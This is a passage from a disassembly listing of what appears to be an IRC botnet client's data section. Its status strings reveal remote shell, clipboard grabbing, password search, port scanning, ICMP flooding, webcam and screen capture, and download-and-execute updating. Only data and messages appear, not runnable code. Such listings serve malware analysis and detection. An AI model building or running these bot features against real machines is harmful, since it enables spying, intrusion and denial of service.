sub_40EC43+5AE3o dd 2BBBB02h aFailedToStar_4 db ' Failed to start listing thread, error: <%d>.',0 align 4 dword_434A38 dd 7A026E02h, 201F6D1Fh, 676F6C28h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5A6Co dd 2BBBB02h, 694C2020h, 6E697473h, 6F6C2067h, 2E67h dword_434A60 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+59E5o dd 2BBBB02h, 654E2020h, 726F7774h, 6E49206Bh, 2E6F66h dword_434A88 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+59B6o dd 2BBBB02h, 79532020h, 6D657473h, 666E4920h, 2E6Fh dword_434AB0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5961o dd 2BBBB02h, 65522020h, 69766F6Dh, 4220676Eh, 2E746Fh unk_434AD8 db 2 ; DATA XREF: sub_40EC43+5930o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_5 db 'Failed to start listing thread, error: <%d>.',0 align 4 dword_434B28 dd 7A026E02h, 201F6D1Fh, 6F727028h, 73736563h, 702E7365h ; DATA XREF: sub_40EC43+58D1o dd 671F6C1Fh, 0BB022029h, 202002BBh, 636F7250h, 73736563h dd 73696C20h, 2E74h aFull db 'full',0 ; DATA XREF: sub_40EC43+58B1o align 10h unk_434B60 db 2 ; DATA XREF: sub_40EC43+584Fo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aAlreadyRunning db 'Already running.',0 align 4 unk_434B94 db 2 ; DATA XREF: sub_40EC43+5823o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 63h, 64h, 6Bh db 65h ; e db 79h, 73h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aSearchComplete db ' Search completed.',0 align 4 dword_434BC4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+57D4o dd 2BBBB02h, 70552020h, 656D6974h, 7325203Ah, 2Eh dword_434BEC dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_41437Ao dd 2BBBB02h aRemoteShellRea db ' Remote shell ready.',0 align 4 dword_434C1C dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5730o dd 2BBBB02h aCouldnTOpenRem db ' Couldn',27h,'t open remote shell.',0 align 4 dword_434C54 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+5714o dd 2BBBB02h aRemoteShellAlr db ' Remote shell already running.',0 dword_434C8C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+56FEo dd 2BBBB02h, 65472020h, 6C432074h, 6F627069h, 2E647261h dd 0 aClipboardData db '-[Clipboard Data]-',0 ; DATA XREF: sub_40EC43+56D0o align 4 unk_434CCC db 2 ; DATA XREF: sub_40EC43:loc_414303o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushA db ' Failed to flush ARP cache.',0 align 4 unk_434D08 db 2 ; DATA XREF: sub_40EC43+56ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aArpCacheFlushe db ' ARP cache flushed.',0 align 4 unk_434D3C db 2 ; DATA XREF: sub_40EC43:loc_4142D2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToLoadDn db ' Failed to load dnsapi.dll.',0 align 4 unk_434D78 db 2 ; DATA XREF: sub_40EC43:loc_4142CBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToFlushD db ' Failed to flush DNS cache.',0 align 4 unk_434DB4 db 2 ; DATA XREF: sub_40EC43+5681o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 6Ch, 75h db 73h ; s db 68h, 64h, 6Eh db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aDnsCacheFlushe db ' DNS cache flushed.',0 align 4 dword_434DE8 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EC43+55EEo dd 2029671Fh, 2BBBB02h aFailedToStar_6 db ' Failed to start server thread, error: <%d>.',0 align 8 dword_434E38 dd 7A026E02h, 201F6D1Fh, 6F6C7228h, 646E6967h, 6C1F702Eh ; DATA XREF: sub_40EC43+5595o dd 2029671Fh, 2BBBB02h aServerListenin db ' Server listening on IP: %s:%d, Username: %s.',0 align 8 unk_434E88 db 2 ; DATA XREF: sub_40EC43+54B7o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStar_7 db 'Failed to start server thread, error: <%d>.',0 unk_434ED0 db 2 ; DATA XREF: sub_40EC43+545Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aServerListen_0 db 'Server listening on IP: %s:%d, Directory: %s\.',0 align 10h unk_434F20 db 2 ; DATA XREF: sub_40EC43+5342o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_8 db ' Failed to start server thread, error: <%d>.',0 align 4 unk_434F68 db 2 ; DATA XREF: sub_40EC43+52E9o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aServerStarte_0 db ' Server started on Port: %d, File: %s, Request: %s.',0 align 4 unk_434FB8 db 2 ; DATA XREF: sub_40EC43+5235o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aAlreadyRunni_0 db ' Already running.',0 align 8 unk_434FE8 db 2 ; DATA XREF: sub_40EC43+520Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStar_9 db ' Failed to start search thread, error: <%d>.',0 unk_435034 db 2 ; DATA XREF: sub_40EC43+519Do db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 70h, 61h, 73h db 73h ; s db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForPa db ' Searching for password.',0 align 10h unk_435070 db 2 ; DATA XREF: sub_40EC43:loc_413DBCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_10 db ' Failed to start scan, port is invalid.',0 align 8 unk_4350B8 db 2 ; DATA XREF: sub_40EC43+50BAo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 72h, 2 dup(6Fh) db 74h ; t db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSPortScanStart db ' %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 10h dword_435130 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4E72o dd 2BBBB02h aNickChangedToS db ' Nick changed to: ',27h,'%s',27h,'.',0 align 4 dword_435164 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4E59o dd 2BBBB02h aJoinedChannelS db ' Joined channel: ',27h,'%s',27h,'.',0 dword_435194 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4E3Co dd 2BBBB02h aPartedChannelS db ' Parted channel: ',27h,'%s',27h,'.',0 dword_4351C4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4E26o dd 2BBBB02h, 52492020h, 61522043h, 25203A77h, 2E73h dword_4351EC dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EC43:loc_4139F5o dd 2029671Fh, 2BBBB02h aFailedToKillTh db ' Failed to kill thread: %s.',0 align 4 dword_435228 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EC43+4DABo dd 2029671Fh, 2BBBB02h, 694B2020h db 6Ch aLedThreadS_ db 'led thread: %s.',0 ; DATA XREF: .data:off_4264F4o align 4 dword_43525C dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EC43:loc_4139B1o dd 2029671Fh, 2BBBB02h aNoActiveThread db ' No active threads found.',0 align 4 dword_435294 dd 7A026E02h, 201F6D1Fh, 72687428h, 73646165h, 6C1F702Eh ; DATA XREF: sub_40EC43+4D64o dd 2029671Fh, 2BBBB02h aStoppedDThread db ' Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_40EC43+4D4Ao aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+4CC3o ; sub_40EC43:loc_4148EDo align 10h dword_4352E0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4C4Bo dd 2BBBB02h aPrefixChangedT db ' Prefix changed to: ',27h,'%c',27h,'.',0 align 8 dword_435318 dd 2C353103h, 36203431h, 3206272h, 202E2E32h, 28353103h ; DATA XREF: sub_40EC43:loc_413879o dd 6C656873h, 2E32036Ch, 6D353103h, 2029646Fh, 3BB3203h a15CouldnTOpenF db '15 Couldn',27h,'t open file: %s',0 align 4 dword_43535C dd 2C353103h, 36203431h, 3206272h, 202E2E32h, 28353103h ; DATA XREF: sub_40EC43+4C2Co dd 6C656873h, 2E32036Ch, 6D353103h, 2029646Fh, 3BB3203h a15FileOpenedS db '15 File opened: %s',0 dword_435398 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4C03o dd 2BBBB02h aServerChangedT db ' Server changed to: ',27h,'%s',27h,'.',0 align 4 dword_4353CC dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_41382Ao dd 2BBBB02h aCouldnTResol_0 db ' Couldn',27h,'t resolve hostname.',0 align 4 dword_435404 dd 7A026E02h, 201F6D1Fh, 736E6428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4BBCo dd 2BBBB02h aLookupSS_ db ' Lookup: %s -> %s.',0 unk_435430 db 2 ; DATA XREF: sub_40EC43:loc_4137CBo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTermin db 'Failed to terminate process: %s',0 unk_435470 db 2 ; DATA XREF: sub_40EC43+4B7Eo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledS db 'Process killed: %s',0 align 8 unk_4354A8 db 2 ; DATA XREF: sub_40EC43:loc_413771o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToTerm_0 db 'Failed to terminate process ID: %s',0 align 4 unk_4354EC db 2 ; DATA XREF: sub_40EC43+4B27o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 70h, 72h, 6Fh db 63h ; c db 65h, 2 dup(73h) db 65h ; e db 73h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aProcessKilledI db 'Process killed ID: %s',0 align 4 dword_435524 dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EC43+4AE0o dd 0BBBB0220h, 44202002h, 74656C65h, 27206465h, 2E277325h dd 0 dword_435550 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4AB5o dd 2BBBB02h aFailedToStartT db ' Failed to start transfer thread, error: <%d>.',0 dword_435598 dd 7A026E02h, 201F6D1Fh, 63636428h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4A5Co dd 2BBBB02h aSendFileSUserS db ' Send File: %s, User: %s.',0 align 4 dword_4355CC dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EC43+49EAo dd 0BBBB0220h, 4C202002h, 3A747369h, 732520h unk_4355F0 db 2 ; DATA XREF: sub_40EC43+49ABo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 76h, 69h, 73h db 69h ; i db 74h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToSta_11 db 'Failed to start connection thread, error: <%d>.',0 dword_43563C dd 7A026E02h, 201F6D1Fh, 73697628h, 702E7469h, 671F6C1Fh ; DATA XREF: sub_40EC43+4952o dd 0BB022029h, 202002BBh, 3A4C5255h, 2E732520h, 0 dword_435664 dd 7A026E02h, 201F6D1Fh, 72696D28h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EC43:loc_4134F0o dd 0BBBB0220h, 43202002h, 616D6D6Fh, 7320646Eh, 2E746E65h dd 0 unk_435690 db 2 ; DATA XREF: sub_40EC43+48A6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 6Dh, 69h, 72h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aClientNotOpen_ db ' Client not open.',0 dword_4356BC dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4869o dd 2BBBB02h, 6F432020h, 6E616D6Dh, 203A7364h, 7325h dword_4356E4 dd 7A026E02h, 201F6D1Fh, 646D6328h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4861o dd 2BBBB02h aErrorSendingTo db ' Error sending to remote shell.',0 align 10h dword_435720 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+481Bo dd 2BBBB02h aReadFileFailed db ' Read file failed: %s',0 align 10h dword_435750 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4807o dd 2BBBB02h aReadFileComple db ' Read file complete: %s',0 align 8 dword_435788 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EC43:loc_4133D3o dd 2029671Fh, 2BBBB02h aInvalidParam_0 db ' Invalid parameters for amateur video capture.',0 align 8 dword_4357D8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EC43:loc_4133C9o dd 2029671Fh, 2BBBB02h aErrorWhileCapt db ' Error while capturing amateur video from webcam.',0 align 4 dword_435828 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EC43+4773o dd 2029671Fh, 2BBBB02h aAmateurVideoSa db ' Amateur video saved to: %s.',0 align 8 dword_435868 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EC43:loc_413314o dd 2029671Fh, 2BBBB02h aInvalidParam_1 db ' Invalid parameters for webcam capture.',0 align 10h dword_4358B0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EC43:loc_41330Do dd 2029671Fh, 2BBBB02h aErrorWhileCa_0 db ' Error while capturing from webcam.',0 align 4 dword_4358F4 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EC43+46BAo dd 2029671Fh, 2BBBB02h aWebcamCaptureS db ' Webcam capture saved to: %s.',0 align 10h aFrame db 'frame',0 ; DATA XREF: sub_40EC43:loc_413281o align 4 dword_435938 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EC43+4631o dd 2029671Fh, 2BBBB02h aDriverListComp db ' Driver list complete.',0 dword_43596C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EC43+45FBo dd 2029671Fh, 2BBBB02h aDriverDSS_ db ' Driver #%d - %s - %s.',0 aDrivers db 'drivers',0 ; DATA XREF: sub_40EC43:loc_4131EAo dword_4359A8 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EC43:loc_4131D7o dd 2029671Fh, 2BBBB02h aNoFilenameSpec db ' No filename specified for screen capture.',0 dword_4359F0 dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EC43:loc_4131D0o dd 2029671Fh, 2BBBB02h aErrorWhileCa_1 db ' Error while capturing screen.',0 dword_435A2C dd 7A026E02h, 201F6D1Fh, 70616328h, 65727574h, 6C1F702Eh ; DATA XREF: sub_40EC43+457Do dd 2029671Fh, 2BBBB02h aScreenCaptureS db ' Screen capture saved to: %s.',0 align 4 aScreen db 'screen',0 ; DATA XREF: sub_40EC43:loc_413187o align 10h dword_435A70 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4526o dd 2BBBB02h, 65472020h, 736F6874h, 25203A74h, 2E73h dword_435A98 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_41312Eo dd 2BBBB02h aUnableToExtrac db ' Unable to extract Gethost command.',0 align 4 dword_435AD8 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+44D5o dd 2BBBB02h aGethostSComman db ' Gethost: %s, Command: %s',0 align 4 dword_435B0C dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4453o dd 2BBBB02h aAliasAddedS_ db ' Alias added: %s.',0 align 4 dword_435B38 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4415o dd 2BBBB02h aPrivmsgSS_ db ' Privmsg: %s: %s.',0 align 4 dword_435B64 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+43BFo dd 2BBBB02h aActionSS_ db ' Action: %s: %s.',0 align 10h dword_435B90 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+4354o dd 2BBBB02h, 79432020h, 2E656C63h, 0 dword_435BB4 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_40EC43+431Ao ; sub_40EC43+4E2Eo dword_435BC0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+42F3o dd 2BBBB02h aModeChangeS db ' Mode change: %s',0 align 4 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_40EC43+42E5o align 4 dword_435BF8 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EC43+42BCo dd 2202967h, 2002BBBBh, 77615220h, 73252820h, 25203A29h dd 73h dword_435C24 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EC43+4251o dd 2202967h, 2002BBBBh, 646F4D20h, 25282065h, 203A2973h dd 7325h dword_435C50 dd 45444F4Dh, 732520h ; DATA XREF: sub_40EC43+41FCo dword_435C58 dd 7A026E02h, 201F6D1Fh, 6F6C6328h, 2E73656Eh, 1F6C1F70h ; DATA XREF: sub_40EC43+41CAo dd 2202967h, 2002BBBBh, 63694E20h, 2528206Bh, 203A2973h dd 7325h dword_435C84 dd 4B43494Eh, 732520h ; DATA XREF: sub_40EC43+4174o ; sub_40EC43+4C8Do dword_435C8C dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_40EC43+4155o dword_435C98 dd 54524150h, 732520h ; DATA XREF: sub_40EC43+40EEo dword_435CA0 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_412D1Eo dd 2BBBB02h aRepeatNotAllow db ' Repeat not allowed in command line: %s',0 align 4 dword_435CE4 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43+40A4o dd 2BBBB02h, 65522020h, 74616570h, 7325203Ah, 0 aRepeat db 'repeat',0 ; DATA XREF: sub_40EC43+4053o align 4 dword_435D14 dd 7A026E02h, 201F6D1Fh, 63726928h, 6C1F702Eh, 2029671Fh ; DATA XREF: sub_40EC43:loc_412C4Eo dd 2BBBB02h, 65442020h, 2E79616Ch, 0 dword_435D38 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_40EC43+3FCBo ; sub_40EC43+407Eo ... unk_435D48 db 2 ; DATA XREF: sub_40EC43:loc_412BBDo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aBotIdMustBeDif db ' Bot ID must be different than current running process.',0 align 10h unk_435DA0 db 2 ; DATA XREF: sub_40EC43+3F5Bo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aFailedToStartD db ' Failed to start download thread, error: <%d>.',0 align 4 unk_435DEC db 2 ; DATA XREF: sub_40EC43+3F02o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 75h, 70h, 64h db 61h ; a db 74h, 65h, 2Eh db 70h ; p db 1Fh, 6Ch, 1Fh db 67h ; g db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aDownloadingUpd db ' Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_40EC43+3E5Co align 4 dword_435E34 dd 7A026E02h, 201F6D1Fh, 65786528h, 1F702E63h, 29671F6Ch ; DATA XREF: sub_40EC43+3DFDo dd 0BBBB0220h, 43202002h, 616D6D6Fh, 3A73646Eh, 732520h unk_435E5C db 2 ; DATA XREF: sub_40EC43+3DF2o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 65h, 78h, 65h db 63h ; c db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aCouldnTExecute db ' Couldn',27h,'t execute file.',0 align 10h unk_435E90 db 2 ; DATA XREF: sub_40EC43+3D40o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToSta_12 db ' Failed to start search thread, error: <%d>.',0 align 4 unk_435EDC db 2 ; DATA XREF: sub_40EC43+3CDCo db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Eh db 64h ; d db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aSearchingForFi db ' Searching for file: %s in: %s.',0 align 4 dword_435F1C dd 7A026E02h, 201F6D1Fh, 6C696628h, 1F702E65h, 29671F6Ch ; DATA XREF: sub_40EC43:loc_412881o ; sub_40EC43:loc_41372Ao dd 0BBBB0220h, 2002h unk_435F38 db 2 ; DATA XREF: sub_40EC43+3C29o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 66h, 69h, 6Ch db 65h ; e db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aRenameSToS_ db ' Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_435F70 db 2 ; DATA XREF: sub_40EC43:loc_41284Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aInvalidFloodTi db ' Invalid flood time must be greater than 0.',0 align 4 unk_435FB8 db 2 ; DATA XREF: sub_40EC43+3BE8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToStartF db ' Failed to start flood thread, error: <%d>.',0 align 10h unk_436000 db 2 ; DATA XREF: sub_40EC43+3B84o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 69h, 63h, 6Dh db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFloodingSForSS db ' Flooding: (%s) for %s seconds.',0 align 10h unk_436040 db 2 ; DATA XREF: 